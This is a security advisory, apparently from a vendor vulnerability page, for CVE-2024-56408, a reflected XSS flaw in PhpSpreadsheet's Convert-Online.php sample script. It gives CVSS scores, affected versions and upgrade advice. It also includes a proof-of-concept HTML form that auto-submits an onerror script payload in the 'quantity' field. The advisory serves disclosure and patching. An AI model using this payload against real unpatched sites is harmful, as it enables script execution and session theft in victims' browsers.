Summary
Unauthorized Reflected XSS in Convert-Online.php file
Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the quantity variable
Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.
Figure 4. The message with the quantity parameter is displayed without sanitization
The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.
Figure 5. In the server's response , the quantity variable is displayed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST">
<input type="hidden" name="category" value="Weight and Mass" />
<input type="hidden" name="quantity" value="1.0<img src=1 onerror=alert()>" />
<input type="hidden" name="fromUnit" value="g" />
<input type="hidden" name="toUnit" value="g" />
<input type="hidden" name="submitx" value="Convert" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.
Figure 6. Executing arbitrary JavaScript code
Credit
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Impact
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2024-56408 has a CVSS score of 7.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.7.0, 1.29.7, 2.1.6, 2.3.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
phpoffice/phpspreadsheet to 3.7.0 or later; phpoffice/phpspreadsheet to 1.29.7 or later; phpoffice/phpspreadsheet to 2.1.6 or later; phpoffice/phpspreadsheet to 2.3.5 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-56408? CVE-2024-56408 is a high-severity cross-site scripting (XSS) vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 3.0.0, < 3.7.0. It is fixed in 3.7.0, 1.29.7, 2.1.6, 2.3.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2024-56408? CVE-2024-56408 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2024-56408?
phpoffice/phpspreadsheet(composer) (versions >= 3.0.0, < 3.7.0)phpoffice/phpexcel(composer) (versions <= 1.8.2)
- Is there a fix for CVE-2024-56408? Yes. CVE-2024-56408 is fixed in 3.7.0, 1.29.7, 2.1.6, 2.3.5. Upgrade to this version or later.
- Is CVE-2024-56408 exploitable, and should I be worried? Whether CVE-2024-56408 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-56408 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-56408?
- Upgrade
phpoffice/phpspreadsheetto 3.7.0 or later - Upgrade
phpoffice/phpspreadsheetto 1.29.7 or later - Upgrade
phpoffice/phpspreadsheetto 2.1.6 or later - Upgrade
phpoffice/phpspreadsheetto 2.3.5 or later
- Upgrade